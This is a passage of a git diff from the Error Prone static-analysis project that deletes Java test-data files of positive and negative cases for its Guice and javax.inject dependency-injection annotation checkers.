@}javax.inject.Inject. - */ - public class TestClass2 extends TestClass1 { - // BUG: Diagnostic contains: @Inject - public void foo() {} - } - - /** - * Class with a method foo() that is not annotated, but overrides a method that in turn overrides - * a method that is annotated with @javax.inject.Inject. - */ - public class TestClass3 extends TestClass2 { - // BUG: Diagnostic contains: @Inject - public void foo() {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/ProvidesMethodOutsideOfModuleNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/ProvidesMethodOutsideOfModuleNegativeCases.java deleted file mode 100644 index 56dc02e4277..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/ProvidesMethodOutsideOfModuleNegativeCases.java +++ /dev/null @@ -1,74 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.guice.testdata; - -import com.google.gwt.inject.client.AbstractGinModule; -import com.google.gwt.inject.client.GinModule; -import com.google.gwt.inject.client.binder.GinBinder; -import com.google.inject.AbstractModule; -import com.google.inject.Binder; -import com.google.inject.Module; -import com.google.inject.Provides; - -/** Tests for {@code ProvidesMethodOutsideOfModule} */ -public class ProvidesMethodOutsideOfModuleNegativeCases { - - /** Regular module */ - class Module1 extends AbstractModule { - @Override - protected void configure() {} - - @Provides - int providesFoo() { - return 42; - } - } - - /** implements the Module interface directly */ - class Module2 implements Module { - @Override - public void configure(Binder binder) {} - - @Provides - int providesFoo() { - return 42; - } - } - - /** Regular GinModule */ - class GinModule1 extends AbstractGinModule { - - @Override - protected void configure() {} - - @Provides - int providesFoo() { - return 42; - } - } - - /** Implements the GinModule interface directly */ - class GinModule2 implements GinModule { - @Override - public void configure(GinBinder binder) {} - - @Provides - int providesFoo() { - return 42; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/ProvidesMethodOutsideOfModulePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/ProvidesMethodOutsideOfModulePositiveCases.java deleted file mode 100644 index 4fea28de438..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/ProvidesMethodOutsideOfModulePositiveCases.java +++ /dev/null @@ -1,63 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.guice.testdata; - -import com.google.inject.AbstractModule; -import com.google.inject.Provides; - -/** Tests for {@code ProvidesMethodOutsideOfModule} */ -public class ProvidesMethodOutsideOfModulePositiveCases { - - /** Random class contains a provides method. */ - public class TestClass1 { - // BUG: Diagnostic contains: remove - @Provides - void providesBlah() {} - } - - /** Module contains an anonymous inner with a Provides method. */ - public class TestModule extends AbstractModule { - @Override - protected void configure() { - Object x = - new Object() { - // BUG: Diagnostic contains: remove - @Provides - void providesBlah() {} - }; - } - } - - /** Class has inner module class */ - public class TestClass2 { - class NestedModule extends AbstractModule { - @Override - protected void configure() {} - - @Provides - int thisIsOk() { - return 42; - } - } - - // BUG: Diagnostic contains: remove - @Provides - int thisIsNotOk() { - return 42; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AssistedInjectAndInjectOnConstructorsNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AssistedInjectAndInjectOnConstructorsNegativeCases.java deleted file mode 100644 index bbfe6f57973..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AssistedInjectAndInjectOnConstructorsNegativeCases.java +++ /dev/null @@ -1,68 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import com.google.inject.assistedinject.AssistedInject; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class AssistedInjectAndInjectOnConstructorsNegativeCases { - /** Class has a single constructor with no annotation. */ - public class TestClass1 { - TestClass1() {} - } - - /** Class has a constructor with a @javax.inject.Inject annotation. */ - public class TestClass2 { - @javax.inject.Inject - public TestClass2() {} - } - - /** Class has a constructor with a @com.google.inject.Inject annotation. */ - public class TestClass3 { - @com.google.inject.Inject - public TestClass3() {} - } - - /** Class has a constructor annotated with @AssistedInject */ - public class TestClass4 { - @AssistedInject - public TestClass4() {} - } - - /** Class has a constructor with a @AssistedInject annotation as well as an injectable field */ - public class TestClass5 { - @javax.inject.Inject private int n; - - @AssistedInject - public TestClass5() {} - } - - /** - * Class has a constructor annotated with @javax.inject.Inject and another constructor annotated - * with @AssistedInject. The warning is suppressed. - */ - @SuppressWarnings("AssistedInjectAndInjectOnConstructors") - public class TestClass6 { - @javax.inject.Inject - public TestClass6() {} - - @AssistedInject - public TestClass6(int n) {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AssistedInjectAndInjectOnConstructorsPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AssistedInjectAndInjectOnConstructorsPositiveCases.java deleted file mode 100644 index 72620744f69..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AssistedInjectAndInjectOnConstructorsPositiveCases.java +++ /dev/null @@ -1,65 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import com.google.inject.assistedinject.AssistedInject; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class AssistedInjectAndInjectOnConstructorsPositiveCases { - /** - * Class has a constructor annotated with @javax.inject.Inject and another constructor annotated - * with @AssistedInject. - */ - // BUG: Diagnostic contains: AssistedInjectAndInjectOnConstructors - public class TestClass1 { - @javax.inject.Inject - public TestClass1() {} - - @AssistedInject - public TestClass1(int n) {} - } - - /** - * Class has a constructor annotated with @com.google.inject.Inject and another constructor - * annotated with @AssistedInject. - */ - // BUG: Diagnostic contains: AssistedInjectAndInjectOnConstructors - public class TestClass2 { - @com.google.inject.Inject - public TestClass2() {} - - @AssistedInject - public TestClass2(int n) {} - } - - /** - * Class has a constructor annotated with @com.google.inject.Inject, another constructor annotated - * with @AssistedInject, and a third constructor with no annotation. - */ - // BUG: Diagnostic contains: AssistedInjectAndInjectOnConstructors - public class TestClass3 { - @com.google.inject.Inject - public TestClass3() {} - - @AssistedInject - public TestClass3(int n) {} - - public TestClass3(String s) {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AssistedInjectAndInjectOnSameConstructorNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AssistedInjectAndInjectOnSameConstructorNegativeCases.java deleted file mode 100644 index 1e11c58a2de..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AssistedInjectAndInjectOnSameConstructorNegativeCases.java +++ /dev/null @@ -1,87 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import com.google.inject.assistedinject.AssistedInject; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class AssistedInjectAndInjectOnSameConstructorNegativeCases { - /** Class has a single constructor with no annotation. */ - public class TestClass1 { - TestClass1() {} - } - - /** Class has a constructor with a @javax.inject.Inject annotation. */ - public class TestClass2 { - @javax.inject.Inject - public TestClass2() {} - } - - /** Class has a constructor with a @com.google.injectInject annotation. */ - public class TestClass3 { - @com.google.inject.Inject - public TestClass3() {} - } - - /** Class has a constructor annotated with @AssistedInject */ - public class TestClass4 { - @AssistedInject - public TestClass4() {} - } - - /** Class has one constructor with a @AssistedInject and one with @javax.inject.inject . */ - public class TestClass5 { - @javax.inject.Inject - public TestClass5(int n) {} - - @AssistedInject - public TestClass5() {} - } - - /** Class has one constructor with a @AssistedInject and one with @javax.inject.inject . */ - public class TestClass6 { - @com.google.inject.Inject - public TestClass6(int n) {} - - @AssistedInject - public TestClass6() {} - } - - /** - * Class has a constructor annotated with @javax.inject.Inject and @AssistedInject. Error is - * suppressed. - */ - @SuppressWarnings("AssistedInjectAndInjectOnSameConstructor") - public class TestClass7 { - @javax.inject.Inject - @AssistedInject - public TestClass7() {} - } - - /** - * Class has a constructor annotated with @com.google.inject.Inject and @AssistedInject. Error is - * suppressed. - */ - @SuppressWarnings("AssistedInjectAndInjectOnSameConstructor") - public class TestClass8 { - @com.google.inject.Inject - @AssistedInject - public TestClass8() {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AssistedInjectAndInjectOnSameConstructorPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AssistedInjectAndInjectOnSameConstructorPositiveCases.java deleted file mode 100644 index fe237aa0dd8..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AssistedInjectAndInjectOnSameConstructorPositiveCases.java +++ /dev/null @@ -1,42 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import com.google.inject.assistedinject.AssistedInject; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class AssistedInjectAndInjectOnSameConstructorPositiveCases { - /** Class has a constructor annotated with @javax.inject.Inject and @AssistedInject. */ - public class TestClass1 { - // BUG: Diagnostic contains: remove - @javax.inject.Inject - // BUG: Diagnostic contains: remove - @AssistedInject - public TestClass1() {} - } - - /** Class has a constructor annotated with @com.google.inject.Inject and @AssistedInject. */ - public class TestClass2 { - // BUG: Diagnostic contains: remove - @com.google.inject.Inject - // BUG: Diagnostic contains: remove - @AssistedInject - public TestClass2() {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AutoFactoryAtInjectNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AutoFactoryAtInjectNegativeCases.java deleted file mode 100644 index b48e13db2ca..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AutoFactoryAtInjectNegativeCases.java +++ /dev/null @@ -1,47 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import com.google.auto.factory.AutoFactory; -import javax.inject.Inject; - -class AutoFactoryAtInjectNegativeCases { - - @AutoFactory - static class AtInjectOnInnerType { - static class InnerType { - @Inject - InnerType() {} - } - } - - static class AutoFactoryOnInnerType { - @Inject - AutoFactoryOnInnerType() {} - - @AutoFactory - static class InnerType {} - } - - static class OnDifferentConstructors { - @Inject - OnDifferentConstructors(String string) {} - - @AutoFactory - OnDifferentConstructors(Object object) {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AutoFactoryAtInjectPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AutoFactoryAtInjectPositiveCases.java deleted file mode 100644 index ee05e8f6e6c..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AutoFactoryAtInjectPositiveCases.java +++ /dev/null @@ -1,44 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import com.google.auto.factory.AutoFactory; -import javax.inject.Inject; - -class AssistedInjectAndInjectOnSameConstructorPositiveCases { - - @AutoFactory - static class HasAutoFactoryOnClass { - // BUG: Diagnostic contains: remove - @Inject - HasAutoFactoryOnClass() {} - } - - @AutoFactory - static class UsesGuiceInject { - // BUG: Diagnostic contains: remove - @com.google.inject.Inject - UsesGuiceInject() {} - } - - static class HasAutoFactoryOnConstructor { - // BUG: Diagnostic contains: remove - @Inject - @AutoFactory - HasAutoFactoryOnConstructor() {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/CloseableProvidesNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/CloseableProvidesNegativeCases.java deleted file mode 100644 index d57077a3535..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/CloseableProvidesNegativeCases.java +++ /dev/null @@ -1,43 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import com.google.inject.Provides; -import javax.inject.Singleton; - -/** - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class CloseableProvidesNegativeCases { - - static class DoesNotImplementsClosable { - public void close() { - // no op - } - } - - @Provides - DoesNotImplementsClosable providesDoesNotImplementsClosable() { - return new DoesNotImplementsClosable(); - } - - @Provides - @Singleton - Object providesObject() { - return new Object(); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/CloseableProvidesPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/CloseableProvidesPositiveCases.java deleted file mode 100644 index a0e517d0e41..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/CloseableProvidesPositiveCases.java +++ /dev/null @@ -1,48 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import com.google.inject.Provides; -import java.io.Closeable; -import java.io.PrintWriter; -import java.nio.charset.StandardCharsets; -import javax.inject.Singleton; - -/** - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class CloseableProvidesPositiveCases { - - static class ImplementsClosable implements Closeable { - public void close() { - // no op - } - } - - @Provides - // BUG: Diagnostic contains: CloseableProvides - ImplementsClosable providesImplementsClosable() { - return new ImplementsClosable(); - } - - @Provides - @Singleton - // BUG: Diagnostic contains: CloseableProvides - PrintWriter providesPrintWriter() throws Exception { - return new PrintWriter("some_file_path", StandardCharsets.UTF_8.name()); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/InjectOnMemberAndConstructorNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/InjectOnMemberAndConstructorNegativeCases.java deleted file mode 100644 index ae8f38595f1..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/InjectOnMemberAndConstructorNegativeCases.java +++ /dev/null @@ -1,47 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import javax.inject.Inject; - -/** - * Negative test cases for {@link InjectOnMemberAndConstructor} check. - * - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class InjectOnMemberAndConstructorNegativeCases { - - public class InjectOnConstructorOnly { - private final String stringFieldWithoutInject; - - @Inject - public InjectOnConstructorOnly(String stringFieldWithoutInject) { - this.stringFieldWithoutInject = stringFieldWithoutInject; - } - } - - public class InjectOnFieldOnly { - @Inject private String stringFieldWithInject; - } - - public class MixedInject { - @Inject private String stringFieldWithInject; - - @Inject - public MixedInject() {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/InjectedConstructorAnnotationsNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/InjectedConstructorAnnotationsNegativeCases.java deleted file mode 100644 index 467689a522f..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/InjectedConstructorAnnotationsNegativeCases.java +++ /dev/null @@ -1,53 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import com.google.inject.BindingAnnotation; -import com.google.inject.Inject; - -/** A negative test case for InjectedConstructorAnnotation. */ -public class InjectedConstructorAnnotationsNegativeCases { - - private @interface TestAnnotation {} - - @BindingAnnotation - private @interface TestBindingAnnotation {} - - /** A class with a constructor that has no annotations. */ - public class TestClass1 { - public TestClass1() {} - } - - /** A class with a constructor that has a binding Annotation. */ - public class TestClass2 { - @TestBindingAnnotation - public TestClass2() {} - } - - /** A class with an injected constructor. */ - public class TestClass3 { - @Inject - public TestClass3() {} - } - - /** A class with an injected constructor that has a non-binding annotation. */ - public class TestClass4 { - @Inject - @TestAnnotation - public TestClass4() {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/InjectedConstructorAnnotationsPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/InjectedConstructorAnnotationsPositiveCases.java deleted file mode 100644 index cddb95fb3f4..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/InjectedConstructorAnnotationsPositiveCases.java +++ /dev/null @@ -1,48 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import com.google.inject.BindingAnnotation; -import com.google.inject.Inject; - -/** A positive test case for InjectedConstructorAnnotation. */ -public class InjectedConstructorAnnotationsPositiveCases { - - /** A binding annotation. */ - @BindingAnnotation - public @interface TestBindingAnnotation { - } - - /** A class with an optionally injected constructor. */ - public class TestClass1 { - // BUG: Diagnostic contains: @Inject public TestClass1 - @Inject(optional = true) public TestClass1() {} - } - - /** A class with an injected constructor that has a binding annotation. */ - public class TestClass2 { - // BUG: Diagnostic contains: @Inject public TestClass2 - @TestBindingAnnotation @Inject public TestClass2() {} - } - - /** A class whose constructor is optionally injected and has a binding annotation. */ - public class TestClass3 { - // BUG: Diagnostic contains: @Inject public TestClass3 - @TestBindingAnnotation @Inject(optional = true) public TestClass3() {} - } -} - diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/InvalidTargetingOnScopingAnnotationNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/InvalidTargetingOnScopingAnnotationNegativeCases.java deleted file mode 100644 index 597a258313f..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/InvalidTargetingOnScopingAnnotationNegativeCases.java +++ /dev/null @@ -1,56 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import static java.lang.annotation.ElementType.METHOD; -import static java.lang.annotation.ElementType.PARAMETER; -import static java.lang.annotation.ElementType.TYPE; -import static java.lang.annotation.RetentionPolicy.RUNTIME; - -import java.lang.annotation.Retention; -import java.lang.annotation.Target; -import javax.inject.Scope; - -/** - * @author sgoldfeder@google.com(Steven Goldfeder) - */ -public class InvalidTargetingOnScopingAnnotationNegativeCases { - - /** A scoping annotation with no specified target. */ - @Scope - @Retention(RUNTIME) - public @interface TestAnnotation1 {} - - /** A scoping annotation that contains more than the required */ - @Target({TYPE, METHOD, PARAMETER}) - @Scope - @Retention(RUNTIME) - public @interface TestAnnotation2 {} - - /** A scoping annotation with legal targeting. */ - @Target({TYPE, METHOD}) - @Scope - @Retention(RUNTIME) - public @interface TestAnnotation3 {} - - /** - * A non-scoping annotation with targeting that would be illegal if it were a scoping annotation. - */ - @Target(PARAMETER) - @Retention(RUNTIME) - public @interface TestAnnotation4 {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/InvalidTargetingOnScopingAnnotationPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/InvalidTargetingOnScopingAnnotationPositiveCases.java deleted file mode 100644 index 77f124c5ab7..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/InvalidTargetingOnScopingAnnotationPositiveCases.java +++ /dev/null @@ -1,77 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import static java.lang.annotation.ElementType.CONSTRUCTOR; -import static java.lang.annotation.ElementType.METHOD; -import static java.lang.annotation.ElementType.PARAMETER; -import static java.lang.annotation.ElementType.TYPE; -import static java.lang.annotation.RetentionPolicy.RUNTIME; - -import com.google.inject.ScopeAnnotation; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.Target; -import javax.inject.Scope; - -/** - * @author sgoldfeder@google.com(Steven Goldfeder) - */ -public class InvalidTargetingOnScopingAnnotationPositiveCases { - - /** Scoping excludes METHOD */ - // BUG: Diagnostic contains: @Target({TYPE, METHOD}) - @Target(TYPE) - @Scope - @Retention(RUNTIME) - public @interface TestAnnotation1 {} - - /** Scoping excludes TYPE */ - // BUG: Diagnostic contains: @Target({TYPE, METHOD}) - @Target(METHOD) - @Scope - @Retention(RUNTIME) - public @interface TestAnnotation2 {} - - /** Scoping excludes both, but has other elements to preserve */ - // BUG: Diagnostic contains: @Target({TYPE, METHOD, PARAMETER}) - @Target(PARAMETER) - @Scope - @Retention(RUNTIME) - public @interface TestAnnotation4 {} - - /** Scoping includes one of the required ones. */ - // BUG: Diagnostic contains: @Target({TYPE, METHOD, PARAMETER, CONSTRUCTOR}) - @Target({PARAMETER, METHOD, CONSTRUCTOR}) - @Scope - @Retention(RUNTIME) - public @interface TestAnnotation5 {} - - /** Same as above, but with a different physical manifestation */ - // BUG: Diagnostic contains: @Target({TYPE, METHOD, PARAMETER, CONSTRUCTOR}) - @Target(value = {ElementType.PARAMETER, METHOD, CONSTRUCTOR}) - @Scope - @Retention(RUNTIME) - public @interface TestAnnotation6 {} - - /** Target annotation is empty, nonsensical since it can't be applied to anything */ - // BUG: Diagnostic contains: @Target({TYPE, METHOD}) - @Target({}) - @ScopeAnnotation - @Retention(RUNTIME) - public @interface TestAnnotation7 {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/JavaxInjectOnAbstractMethodNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/JavaxInjectOnAbstractMethodNegativeCases.java deleted file mode 100644 index 05afa16282b..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/JavaxInjectOnAbstractMethodNegativeCases.java +++ /dev/null @@ -1,63 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import javax.inject.Inject; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class JavaxInjectOnAbstractMethodNegativeCases { - - /** Concrete class has no methods or annotations. */ - public class TestClass1 {} - - /** Abstract class has a single abstract method with no annotation. */ - public abstract class TestClass2 { - abstract void abstractMethod(); - } - - /** Concrete class has an injectable method. */ - public class TestClass3 { - @Inject - public void foo() {} - } - - /** Abstract class has an injectable concrete method. */ - public abstract class TestClass4 { - abstract void abstractMethod(); - - @Inject - public void concreteMethod() {} - } - - /** - * Abstract class has an com.google.inject.Inject abstract method (This is allowed; Injecting - * abstract methods is only forbidden with javax.inject.Inject). - */ - public abstract class TestClass5 { - @com.google.inject.Inject - abstract void abstractMethod(); - } - - /** Abstract class has an injectable(javax.inject.Inject) abstract method. Error is suppressed. */ - public abstract class TestClass6 { - @SuppressWarnings("JavaxInjectOnAbstractMethod") - @javax.inject.Inject - abstract void abstractMethod(); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/JavaxInjectOnAbstractMethodPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/JavaxInjectOnAbstractMethodPositiveCases.java deleted file mode 100644 index 9afd3df9eff..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/JavaxInjectOnAbstractMethodPositiveCases.java +++ /dev/null @@ -1,80 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR 